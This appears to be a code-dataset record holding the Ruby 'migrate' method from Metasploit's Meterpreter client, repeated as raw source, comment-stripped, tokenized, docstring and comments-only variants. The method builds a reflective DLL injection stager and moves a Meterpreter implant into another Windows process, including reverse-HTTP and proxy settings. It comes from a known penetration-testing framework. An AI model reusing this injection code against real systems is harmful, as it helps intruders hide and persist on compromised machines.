lib/rex/post/meterpreter/client_core.rb
def migrate( pid )
    keepalive = client.send_keepalives
    client.send_keepalives = false
    process       = nil
    binary_suffix = nil

    # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
    client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )

    # Determine the architecture for the pid we are going to migrate into...
    client.sys.process.processes.each { | p |
      if( p['pid'] == pid )
        process = p
        break
      end
    }

    # We cant migrate into a process that does not exist.
    if( process == nil )
      raise RuntimeError, "Cannot migrate into non existent process", caller
    end

    # We cant migrate into a process that we are unable to open
    if( process['arch'] == nil or process['arch'].empty? )
      raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
    end

    # And we also cant migrate into our own current process...
    if( process['pid'] == client.sys.process.getpid )
      raise RuntimeError, "Cannot migrate into current process", caller
    end

    # Create a new payload stub
    c = Class.new( ::Msf::Payload )
    c.include( ::Msf::Payload::Stager )

    # Include the appropriate reflective dll injection module for the target process architecture...
    if( process['arch'] == ARCH_X86 )
      c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
      binary_suffix = "x86.dll"
    elsif( process['arch'] == ARCH_X86_64 )
      c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
      binary_suffix = "x64.dll"
    else
      raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
    end

    # Create the migrate stager
    migrate_stager = c.new()
    migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix)

    blob = migrate_stager.stage_payload

    if client.passive_service

      #
      # Patch options into metsrv for reverse HTTP payloads
      #
      Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
        :ssl            =>  client.ssl,
        :url            =>  self.client.url,
        :expiration     => self.client.expiration,
        :comm_timeout   =>  self.client.comm_timeout,
        :ua             =>  client.exploit_datastore['MeterpreterUserAgent'],
        :proxyhost      =>  client.exploit_datastore['PROXYHOST'],
        :proxyport      =>  client.exploit_datastore['PROXYPORT'],
        :proxy_type     =>  client.exploit_datastore['PROXY_TYPE'],
        :proxy_username =>  client.exploit_datastore['PROXY_USERNAME'],
        :proxy_password =>  client.exploit_datastore['PROXY_PASSWORD']

    end

    # Build the migration request
    request = Packet.create_request( 'core_migrate' )
    request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
    request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
    request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
    if( process['arch'] == ARCH_X86_64 )
      request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
    else
      request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
    end

    # Send the migration request (bump up the timeout to 60 seconds)
    client.send_request( request, 60 )

    if client.passive_service
      # Sleep for 5 seconds to allow the full handoff, this prevents
      # the original process from stealing our loadlib requests
      ::IO.select(nil, nil, nil, 5.0)
    else
      # Prevent new commands from being sent while we finish migrating
      client.comm_mutex.synchronize do
        # Disable the socket request monitor
        client.monitor_stop

        ###
        # Now communicating with the new process
        ###

        # If renegotiation takes longer than a minute, it's a pretty
        # good bet that migration failed and the remote side is hung.
        # Since we have the comm_mutex here, we *must* release it to
        # keep from hanging the packet dispatcher thread, which results
        # in blocking the entire process. See Redmine #8794
        begin
          Timeout.timeout(60) do
            # Renegotiate SSL over this socket
            client.swap_sock_ssl_to_plain()
            client.swap_sock_plain_to_ssl()
          end
        rescue TimeoutError
          client.alive = false
          return false
        end

        # Restart the socket monitor
        client.monitor_socket

      end
    end

    # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
    # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
    # If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
    if( process['arch'] == ARCH_X86_64 )
      client.platform      = 'x64/win64'
      client.binary_suffix = 'x64.dll'
    else
      client.platform      = 'x86/win32'
      client.binary_suffix = 'x86.dll'
    end

    # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
    client.ext.aliases.keys.each { |e|
      client.core.use(e)
    }

    # Restore session keep-alives
    client.send_keepalives = keepalive

    return true
  end
#
# Migrates the meterpreter instance to the process specified
# by pid.  The connection to the server remains established.
#
Migrates the meterpreter instance to the process specified
by pid.  The connection to the server remains established.
Migrates the meterpreter instance to the process specified by pid . The connection to the server remains established .
def migrate( pid )
    keepalive = client.send_keepalives
    client.send_keepalives = false
    process       = nil
    binary_suffix = nil
    client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
    client.sys.process.processes.each { | p |
      if( p['pid'] == pid )
        process = p
        break
      end
    }
    if( process == nil )
      raise RuntimeError, "Cannot migrate into non existent process", caller
    end
    if( process['arch'] == nil or process['arch'].empty? )
      raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
    end
    if( process['pid'] == client.sys.process.getpid )
      raise RuntimeError, "Cannot migrate into current process", caller
    end
    c = Class.new( ::Msf::Payload )
    c.include( ::Msf::Payload::Stager )
    if( process['arch'] == ARCH_X86 )
      c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
      binary_suffix = "x86.dll"
    elsif( process['arch'] == ARCH_X86_64 )
      c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
      binary_suffix = "x64.dll"
    else
      raise RuntimeError, "Unsupported target architecture '{process['arch']}' for process '{process['name']}'.", caller
    end
    migrate_stager = c.new()
    migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix)
    blob = migrate_stager.stage_payload
    if client.passive_service
       Patch options into metsrv for reverse HTTP payloads
      Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
        :ssl            =>  client.ssl,
        :url            =>  self.client.url,
        :expiration     => self.client.expiration,
        :comm_timeout   =>  self.client.comm_timeout,
        :ua             =>  client.exploit_datastore['MeterpreterUserAgent'],
        :proxyhost      =>  client.exploit_datastore['PROXYHOST'],
        :proxyport      =>  client.exploit_datastore['PROXYPORT'],
        :proxy_type     =>  client.exploit_datastore['PROXY_TYPE'],
        :proxy_username =>  client.exploit_datastore['PROXY_USERNAME'],
        :proxy_password =>  client.exploit_datastore['PROXY_PASSWORD']
    end
     Build the migration request
    request = Packet.create_request( 'core_migrate' )
    request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
    request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
    request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
    if( process['arch'] == ARCH_X86_64 )
      request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 )  PROCESS_ARCH_X64
    else
      request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 )  PROCESS_ARCH_X86
    end
     Send the migration request (bump up the timeout to 60 seconds)
    client.send_request( request, 60 )
    if client.passive_service
       Sleep for 5 seconds to allow the full handoff, this prevents
       the original process from stealing our loadlib requests
      ::IO.select(nil, nil, nil, 5.0)
    else
       Prevent new commands from being sent while we finish migrating
      client.comm_mutex.synchronize do
         Disable the socket request monitor
        client.monitor_stop
         Now communicating with the new process
         If renegotiation takes longer than a minute, it's a pretty
         good bet that migration failed and the remote side is hung.
         Since we have the comm_mutex here, we *must* release it to
         keep from hanging the packet dispatcher thread, which results
         in blocking the entire process. See Redmine 8794
        begin
          Timeout.timeout(60) do
             Renegotiate SSL over this socket
            client.swap_sock_ssl_to_plain()
            client.swap_sock_plain_to_ssl()
          end
        rescue TimeoutError
          client.alive = false
          return false
        end
         Restart the socket monitor
        client.monitor_socket
      end
    end
     Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
     sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
     If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
    if( process['arch'] == ARCH_X86_64 )
      client.platform      = 'x64/win64'
      client.binary_suffix = 'x64.dll'
    else
      client.platform      = 'x86/win32'
      client.binary_suffix = 'x86.dll'
    end
     Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
    client.ext.aliases.keys.each { |e|
      client.core.use(e)
    }
     Restore session keep-alives
    client.send_keepalives = keepalive
    return true
  end
def migrate ( pid ) keepalive = client . send_keepalives client . send_keepalives = false process = nil binary_suffix = nil client . core . use ( "stdapi" ) if not client . ext . aliases . include? ( "stdapi" ) client . sys . process . processes . each { | p | if ( p [ 'pid' ] == pid ) process = p break end } if ( process == nil ) raise RuntimeError , "Cannot migrate into non existent process" , caller end if ( process [ 'arch' ] == nil or process [ 'arch' ] . empty? ) raise RuntimeError , "Cannot migrate into this process (insufficient privileges)" , caller end if ( process [ 'pid' ] == client . sys . process . getpid ) raise RuntimeError , "Cannot migrate into current process" , caller end c = Class . new ( :: Msf :: Payload ) c . include ( :: Msf :: Payload :: Stager ) if ( process [ 'arch' ] == ARCH_X86 ) c . include ( :: Msf :: Payload :: Windows :: ReflectiveDllInject ) binary_suffix = "x86.dll" elsif ( process [ 'arch' ] == ARCH_X86_64 ) c . include ( :: Msf :: Payload :: Windows :: ReflectiveDllInject_x64 ) binary_suffix = "x64.dll" else raise RuntimeError , "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'." , caller end migrate_stager = c . new ( ) migrate_stager . datastore [ 'DLL' ] = MeterpreterBinaries . path ( 'metsrv' , binary_suffix ) blob = migrate_stager . stage_payload if client . passive_service Rex :: Payloads :: Meterpreter :: Patch . patch_passive_service! blob , :ssl => client . ssl , :url => self . client . url , :expiration => self . client . expiration , :comm_timeout => self . client . comm_timeout , :ua => client . exploit_datastore [ 'MeterpreterUserAgent' ] , :proxyhost => client . exploit_datastore [ 'PROXYHOST' ] , :proxyport => client . exploit_datastore [ 'PROXYPORT' ] , :proxy_type => client . exploit_datastore [ 'PROXY_TYPE' ] , :proxy_username => client . exploit_datastore [ 'PROXY_USERNAME' ] , :proxy_password => client . exploit_datastore [ 'PROXY_PASSWORD' ] end request = Packet . create_request ( 'core_migrate' ) request . add_tlv ( TLV_TYPE_MIGRATE_PID , pid ) request . add_tlv ( TLV_TYPE_MIGRATE_LEN , blob . length ) request . add_tlv ( TLV_TYPE_MIGRATE_PAYLOAD , blob , false , client . capabilities [ :zlib ] ) if ( process [ 'arch' ] == ARCH_X86_64 ) request . add_tlv ( TLV_TYPE_MIGRATE_ARCH , 2 ) else request . add_tlv ( TLV_TYPE_MIGRATE_ARCH , 1 ) end client . send_request ( request , 60 ) if client . passive_service :: IO . select ( nil , nil , nil , 5.0 ) else client . comm_mutex . synchronize do client . monitor_stop begin Timeout . timeout ( 60 ) do client . swap_sock_ssl_to_plain ( ) client . swap_sock_plain_to_ssl ( ) end rescue TimeoutError client . alive = false return false end client . monitor_socket end end if ( process [ 'arch' ] == ARCH_X86_64 ) client . platform = 'x64/win64' client . binary_suffix = 'x64.dll' else client . platform = 'x86/win32' client . binary_suffix = 'x86.dll' end client . ext . aliases . keys . each { | e | client . core . use ( e ) } client . send_keepalives = keepalive return true end
Migrates the meterpreter instance to the process specified
by pid.
Migrates the meterpreter instance to the process specified by pid .
# Load in the stdapi extension if not allready present so we can determine the target pid architecture... # Determine the architecture for the pid we are going to migrate into... # We cant migrate into a process that does not exist. # We cant migrate into a process that we are unable to open # And we also cant migrate into our own current process... # Create a new payload stub # Include the appropriate reflective dll injection module for the target process architecture... # Create the migrate stager # # Patch options into metsrv for reverse HTTP payloads # # Build the migration request # PROCESS_ARCH_X64 # PROCESS_ARCH_X86 # Send the migration request (bump up the timeout to 60 seconds) # Sleep for 5 seconds to allow the full handoff, this prevents # the original process from stealing our loadlib requests # Prevent new commands from being sent while we finish migrating # Disable the socket request monitor ### # Now communicating with the new process ### # If renegotiation takes longer than a minute, it's a pretty # good bet that migration failed and the remote side is hung. # Since we have the comm_mutex here, we *must* release it to # keep from hanging the packet dispatcher thread, which results # in blocking the entire process. See Redmine #8794 # Renegotiate SSL over this socket # Restart the socket monitor # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of. # If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this. # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) # Restore session keep-alives
pid